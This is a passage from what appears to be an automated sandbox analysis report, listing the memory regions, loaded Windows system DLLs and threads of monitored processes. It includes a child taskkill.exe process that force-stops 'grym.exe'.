start_va = 0x76690000 end_va = 0x7677ffff entry_point = 0x766a0569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 2708 start_va = 0x76780000 end_va = 0x767d6fff entry_point = 0x76799ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 2709 start_va = 0x76910000 end_va = 0x7699efff entry_point = 0x76913fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 2710 start_va = 0x769a0000 end_va = 0x769b8fff entry_point = 0x769a4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 2711 start_va = 0x76c80000 end_va = 0x76c85fff entry_point = 0x76c81782 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 2712 start_va = 0x76c90000 end_va = 0x76d2cfff entry_point = 0x76cc3fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 2713 start_va = 0x76d30000 end_va = 0x76e8bfff entry_point = 0x76d7ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 2714 start_va = 0x76ea0000 end_va = 0x76ea9fff entry_point = 0x76ea36a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 2715 start_va = 0x77130000 end_va = 0x77164fff entry_point = 0x7713145d region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 2716 start_va = 0x772c0000 end_va = 0x77305fff entry_point = 0x772c7478 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 2717 start_va = 0x77310000 end_va = 0x7740ffff entry_point = 0x7732b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 2718 start_va = 0x77410000 end_va = 0x7749ffff entry_point = 0x77426343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 2719 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2720 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2721 start_va = 0x630000 end_va = 0x7b7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000630000" filename = "" Region: id = 2722 start_va = 0x767e0000 end_va = 0x7683ffff entry_point = 0x767f158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2723 start_va = 0x771f0000 end_va = 0x772bbfff entry_point = 0x771f168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 2724 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2725 start_va = 0xe0000 end_va = 0xe1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 2726 start_va = 0xf0000 end_va = 0xf3fff entry_point = 0xf0000 region_type = mapped_file name = "taskkill.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\taskkill.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\taskkill.exe.mui") Region: id = 2727 start_va = 0x100000 end_va = 0x100fff entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 2728 start_va = 0x150000 end_va = 0x150fff entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 2729 start_va = 0x160000 end_va = 0x160fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000160000" filename = "" Region: id = 2730 start_va = 0x170000 end_va = 0x1affff entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 2731 start_va = 0x250000 end_va = 0x30ffff entry_point = 0x250000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 2732 start_va = 0x430000 end_va = 0x46ffff entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 2733 start_va = 0x810000 end_va = 0x84ffff entry_point = 0x0 region_type = private name = "private_0x0000000000810000" filename = "" Region: id = 2734 start_va = 0x940000 end_va = 0xac0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000940000" filename = "" Region: id = 2735 start_va = 0xad0000 end_va = 0x1ecffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ad0000" filename = "" Region: id = 2736 start_va = 0x76490000 end_va = 0x76512fff entry_point = 0x764923d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 2737 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 2738 start_va = 0x1b0000 end_va = 0x1b0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 2739 start_va = 0x6a920000 end_va = 0x6a97bfff entry_point = 0x6a942b48 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\SysWOW64\\wbemcomn.dll" (normalized: "c:\\windows\\syswow64\\wbemcomn.dll") Region: id = 2740 start_va = 0x6a980000 end_va = 0x6a989fff entry_point = 0x6a98149a region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemprox.dll") Region: id = 2741 start_va = 0x1c0000 end_va = 0x1fffff entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 2742 start_va = 0x1ed0000 end_va = 0x1fcffff entry_point = 0x0 region_type = private name = "private_0x0000000001ed0000" filename = "" Region: id = 2743 start_va = 0x6a8f0000 end_va = 0x6a918fff entry_point = 0x6a8f6b19 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\SysWOW64\\winsta.dll" (normalized: "c:\\windows\\syswow64\\winsta.dll") Region: id = 2744 start_va = 0x7d0000 end_va = 0x80ffff entry_point = 0x0 region_type = private name = "private_0x00000000007d0000" filename = "" Region: id = 2745 start_va = 0x8e0000 end_va = 0x91ffff entry_point = 0x0 region_type = private name = "private_0x00000000008e0000" filename = "" Region: id = 2746 start_va = 0x1fd0000 end_va = 0x229efff entry_point = 0x1fd0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2747 start_va = 0x74460000 end_va = 0x7449afff entry_point = 0x7446128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 2748 start_va = 0x749e0000 end_va = 0x749f5fff entry_point = 0x749e2dc3 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 2749 start_va = 0x7efd5000 end_va = 0x7efd7fff entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 2750 start_va = 0x749d0000 end_va = 0x749ddfff entry_point = 0x749d1235 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll") Region: id = 2751 start_va = 0x490000 end_va = 0x4cffff entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 2752 start_va = 0x4f0000 end_va = 0x52ffff entry_point = 0x0 region_type = private name = "private_0x00000000004f0000" filename = "" Region: id = 2753 start_va = 0x850000 end_va = 0x88ffff entry_point = 0x0 region_type = private name = "private_0x0000000000850000" filename = "" Region: id = 2754 start_va = 0x2330000 end_va = 0x236ffff entry_point = 0x0 region_type = private name = "private_0x0000000002330000" filename = "" Region: id = 2755 start_va = 0x6a8e0000 end_va = 0x6a8eefff entry_point = 0x6a8e21a0 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemsvc.dll") Region: id = 2756 start_va = 0x7efaa000 end_va = 0x7efacfff entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 2757 start_va = 0x7efad000 end_va = 0x7efaffff entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 2758 start_va = 0x6a710000 end_va = 0x6a7a5fff entry_point = 0x6a72f8b9 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\fastprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\fastprox.dll") Region: id = 2759 start_va = 0x6a8c0000 end_va = 0x6a8d7fff entry_point = 0x6a8c1335 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\SysWOW64\\ntdsapi.dll" (normalized: "c:\\windows\\syswow64\\ntdsapi.dll") Thread: id = 176 os_tid = 0x8b0 Thread: id = 177 os_tid = 0x8ac Thread: id = 178 os_tid = 0x8a8 Thread: id = 179 os_tid = 0x96c Thread: id = 180 os_tid = 0x970 Process: id = "20" image_name = "taskkill.exe" filename = "c:\\windows\\syswow64\\taskkill.exe" page_root = "0x5aa9f000" os_pid = "0x83c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "10" os_parent_pid = "0xbb0" cmd_line = "TASKKILL /F /IM grym.exe /IM grym.exe " cur_dir = "C:\\Users\\kFT6uTQW\\Desktop\\" os_username = "XABNCPUWKW\\kFT6uTQW" os_groups = "XABNCPUWKW\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ae" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2760 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2761 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2762 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2763 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 2764 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 2765 start_va = 0x90000 end_va = 0xcffff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 2766 start_va = 0xe0000 end_va = 0x11ffff entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 2767 start_va = 0x3d0000 end_va = 0x3e5fff entry_point = 0x3d5c89 region_type = mapped_file name = "taskkill.exe" filename = "\\Windows\\SysWOW64\\taskkill.exe" (normalized: "c:\\windows\\syswow64\\taskkill.exe") Region: id = 2768 start_va = 0x776c0000 end_va = 0x77868fff entry_point = 0x776c0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2769 start_va = 0x778a0000 end_va = 0x77a1ffff entry_point = 0x778a0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 2770 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 2771 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 2772 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 2773 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 2774 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2775 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2776 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 2777 start_va = 0x300000 end_va = 0x37ffff entry_point = 0x0 region_type = private name = "private_0x0000000000300000" filename = "" Region: id = 2778 start_va = 0x73fd0000 end_va = 0x73fd7fff entry_point = 0x73fd20f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 2779 start_va = 0x73fe0000 end_va = 0x7403bfff entry_point = 0x7401f798 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 2780 start_va = 0x74040000 end_va = 0x7407efff entry_point = 0x7406de78 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 2781 start_va = 0x774a0000 end_va = 0x77599fff entry_point = 0x0 region_type = private name = "private_0x00000000774a0000" filename = "" Region: id = 2782 start_va = 0x775a0000 end_va = 0x776befff entry_point = 0x0 region_type = private name = "private_0x00000000775a0000" filename = "" Region: id = 2783 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2784 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 2785 start_va = 0x30000 end_va = 0x3ffff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2786 start_va = 0x120000 end_va = 0x186fff entry_point = 0x120000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2787 start_va = 0x5d0000 end_va = 0x6cffff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 2788 start_va = 0x6a8a0000 end_va = 0x6a98afff entry_point = 0x6a8a13ce region_type = mapped_file name = "dbghelp.dll" filename = "\\Windows\\SysWOW64\\dbghelp.dll" (normalized: "c:\\windows\\syswow64\\dbghelp.dll") Region: id = 2789 start_va = 0x6a990000 end_va = 0x6a99efff entry_point = 0x6a9912a1 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 2790 start_va = 0x6a9a0000 end_va = 0x6a9a8fff entry_point = 0x6a9a15a6 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 2791 start_va = 0x6a9b0000 end_va = 0x6a9c0fff entry_point = 0x6a9b1300 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\SysWOW64\\netapi32.dll" (normalized: "c:\\windows\\syswow64\\netapi32.dll") Region: id = 2792 start_va = 0x6a9d0000 end_va = 0x6aa04fff entry_point = 0x6a9d13d5 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\SysWOW64\\framedynos.dll" (normalized: "c:\\windows\\syswow64\\framedynos.dll") Region: id = 2793 start_va = 0x73ba0000 end_va = 0x73bb1fff entry_point = 0x73ba1200 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 2794 start_va = 0x73e30000 end_va = 0x73e3cfff entry_point = 0x73e311e0 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\SysWOW64\\wtsapi32.dll" (normalized: "c:\\windows\\syswow64\\wtsapi32.dll") Region: id = 2795 start_va = 0x74080000 end_va = 0x74087fff entry_point = 0x740810e9 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\SysWOW64\\secur32.dll" (normalized: "c:\\windows\\syswow64\\secur32.dll") Region: id = 2796 start_va = 0x74b50000 end_va = 0x74b58fff entry_point = 0x74b51220 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 2797 start_va = 0x75330000 end_va = 0x75348fff entry_point = 0x75331319 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 2798 start_va = 0x753f0000 end_va = 0x753fbfff entry_point = 0x753f10e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 2799 start_va = 0x75400000 end_va = 0x7545ffff entry_point = 0x7541a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 2800 start_va = 0x755a0000 end_va = 0x7564bfff entry_point = 0x755aa472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 2801 start_va = 0x763f0000 end_va = 0x7648ffff entry_point = 0x764049e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 2802 start_va = 0x76520000 end_va = 0x7662ffff entry_point = 0x765332d3 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2803 start_va = 0x76690000 end_va = 0x7677ffff entry_point = 0x766a0569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 2804 start_va = 0x76780000 end_va = 0x767d6fff entry_point = 0x76799ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 2805 start_va = 0x76910000 end_va = 0x7699efff entry_point = 0x76913fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 2806 start_va = 0x769a0000 end_va = 0x769b8fff entry_point = 0x769a4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 2807 start_va = 0x76c80000 end_va = 0x76c85fff entry_point = 0x76c81782 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 2808 start_va = 0x76c90000 end_va = 0x76d2cfff entry_point = 0x76cc3fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 2809 start_va = 0x76d30000 end_va = 0x76e8bfff entry_point = 0x76d7ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 2810 start_va = 0x76ea0000 end_va = 0x76ea9fff entry_point = 0x76ea36a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 2811 start_va = 0x77130000 end_va = 0x77164fff entry_point = 0x7713145d region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 2812 start_va = 0x772c0000 end_va = 0x77305fff entry_point = 0x772c7478 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 2813 start_va = 0x77310000 end_va = 0x7740ffff entry_point = 0x7732b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 2814 start_va = 0x77410000 end_va = 0x7749ffff entry_point = 0x77426343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 2815 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2816 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2817 start_va = 0x3f0000 end_va = 0x577fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 2818 start_va = 0x767e0000 end_va = 0x7683ffff entry_point = 0x767f158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2819 start_va = 0x771f0000 end_va = 0x772bbfff entry_point = 0x771f168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 2820 start_va = 0x70000 end_va = 0x76fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 2821 start_va = 0x80000 end_va = 0x81fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000080000" filename = "" Region: id = 2822 start_va = 0xd0000 end_va = 0xd3fff entry_point = 0xd0000 region_type = mapped_file name = "taskkill.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\taskkill.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\taskkill.exe.mui") Region: id = 2823 start_va = 0x190000 end_va = 0x190fff entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 2824 start_va = 0x1a0000 end_va = 0x1a0fff entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 2825 start_va = 0x1b0000 end_va = 0x26ffff entry_point = 0x1b0000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 2826 start_va = 0x270000 end_va = 0x270fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 2827 start_va = 0x2b0000 end_va = 0x2effff entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 2828 start_va = 0x580000 end_va = 0x5bffff entry_point = 0x0 region_type = private name = "private_0x0000000000580000" filename = "" Region: id = 2829 start_va = 0x6d0000 end_va = 0x850fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 2830 start_va = 0x860000 end_va = 0x1c5ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000860000" filename = "" Region: id = 2831 start_va = 0x1db0000 end_va = 0x1deffff entry_point = 0x0 region_type = private name = "private_0x0000000001db0000" filename = "" Region: id = 2832 start_va = 0x76490000 end_va = 0x76512fff entry_point = 0x764923d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 2833 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 2834 start_va = 0x280000 end_va = 0x280fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000280000" filename = "" Region: id = 2835 start_va = 0x6a830000 end_va = 0x6a88bfff entry_point = 0x6a852b48 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\SysWOW64\\wbemcomn.dll" (normalized: "c:\\windows\\syswow64\\wbemcomn.dll") Region: id = 2836 start_va = 0x6a890000 end_va = 0x6a899fff entry_point = 0x6a89149a region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemprox.dll") Region: id = 2837 start_va = 0x1d10000 end_va = 0x1d4ffff entry_point = 0x0 region_type = private name = "private_0x0000000001d10000" filename = "" Region: id = 2838 start_va = 0x1df0000 end_va = 0x1eeffff entry_point = 0x0 region_type = private name = "private_0x0000000001df0000" filename = "" Region: id = 2839 start_va = 0x6a800000 end_va = 0x6a828fff entry_point = 0x6a806b19 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\SysWOW64\\winsta.dll" (normalized: "c:\\windows\\syswow64\\winsta.dll") Region: id = 2840 start_va = 0x1c60000 end_va = 0x1c9ffff entry_point = 0x0 region_type = private name = "private_0x0000000001c60000" filename = "" Region: id = 2841 start_va = 0x1ef0000 end_va = 0x21befff entry_point = 0x1ef0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2842 start_va = 0x2250000 end_va = 0x228ffff entry_point = 0x0 region_type = private name = "private_0x0000000002250000" filename = "" Region: id = 2843 start_va = 0x74460000 end_va = 0x7449afff entry_point = 0x7446128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 2844 start_va = 0x749e0000 end_va = 0x749f5fff entry_point = 0x749e2dc3 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 2845 start_va = 0x7efd5000 end_va = 0x7efd7fff entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 2846 start_va = 0x749d0000 end_va = 0x749ddfff entry_point = 0x749d1235 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll") Region: id = 2847 start_va = 0x380000 end_va = 0x3bffff entry_point = 0x0 region_type = private name = "private_0x0000000000380000" filename = "" Region: id = 2848 start_va = 0x21d0000 end_va = 0x220ffff entry_point = 0x0 region_type = private name = "private_0x00000000021d0000" filename = "" Region: id = 2849 start_va = 0x2210000 end_va = 0x224ffff entry_point = 0x0 region_type = private name = "private_0x0000000002210000" filename = "" Region: id = 2850 start_va = 0x2320000 end_va = 0x235ffff entry_point = 0x0 region_type = private name = "private_0x0000000002320000" filename = "" Region: id = 2851 start_va = 0x6a7f0000 end_va = 0x6a7fefff entry_point = 0x6a7f21a0 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemsvc.dll") Region: id = 2852 start_va = 0x7efaa000 end_va = 0x7efacfff entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 2853 start_va = 0x7efad000 end_va = 0x7efaffff entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 2854 start_va = 0x6a730000 end_va = 0x6a747fff entry_point = 0x6a731335 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\SysWOW64\\ntdsapi.dll" (normalized: "c:\\windows\\syswow64\\ntdsapi.dll") Region: id = 2855 start_va = 0x6a750000 end_va = 0x6a7e5fff entry_point = 0x6a76f8b9 region_type = mapped_file name = "fastprox.dll" filename = 